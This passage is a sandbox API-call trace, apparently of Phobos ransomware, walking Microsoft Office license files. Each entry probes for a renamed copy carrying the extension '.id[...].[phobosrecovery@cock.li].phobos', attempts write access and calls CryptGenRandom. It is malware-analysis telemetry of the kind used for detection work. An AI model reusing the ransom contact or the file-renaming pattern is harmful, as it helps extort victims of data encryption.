dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.476] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.476] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11582) returned 1 [0152.476] CloseHandle (hObject=0x564) returned 1 [0152.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0152.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.477] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.477] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19927) returned 1 [0152.477] CloseHandle (hObject=0x564) returned 1 [0152.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0152.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.478] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.478] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10627) returned 1 [0152.478] CloseHandle (hObject=0x564) returned 1 [0152.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220 [0152.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.479] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.480] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26462) returned 1 [0152.480] CloseHandle (hObject=0x564) returned 1 [0152.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220 [0152.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.487] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.487] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11574) returned 1 [0152.487] CloseHandle (hObject=0x564) returned 1 [0152.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220 [0152.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.488] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.489] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19919) returned 1 [0152.489] CloseHandle (hObject=0x564) returned 1 [0152.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220 [0152.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.489] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.490] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11167) returned 1 [0152.490] CloseHandle (hObject=0x564) returned 1 [0152.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220 [0152.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.490] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.491] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=32361) returned 1 [0152.491] CloseHandle (hObject=0x564) returned 1 [0152.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220 [0152.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.491] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.491] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11612) returned 1 [0152.492] CloseHandle (hObject=0x564) returned 1 [0152.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220 [0152.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.492] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.492] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11171) returned 1 [0152.492] CloseHandle (hObject=0x564) returned 1 [0152.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220 [0152.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.493] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.493] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=32362) returned 1 [0152.493] CloseHandle (hObject=0x564) returned 1 [0152.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220 [0152.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.494] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.494] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11616) returned 1 [0152.494] CloseHandle (hObject=0x564) returned 1 [0152.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220 [0152.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.495] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.495] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11147) returned 1 [0152.495] CloseHandle (hObject=0x564) returned 1 [0152.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220 [0152.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.496] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.496] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26524) returned 1 [0152.496] CloseHandle (hObject=0x564) returned 1 [0152.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220 [0152.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.496] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.497] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11591) returned 1 [0152.497] CloseHandle (hObject=0x564) returned 1 [0152.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220 [0152.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.497] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.498] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11151) returned 1 [0152.498] CloseHandle (hObject=0x564) returned 1 [0152.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220 [0152.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 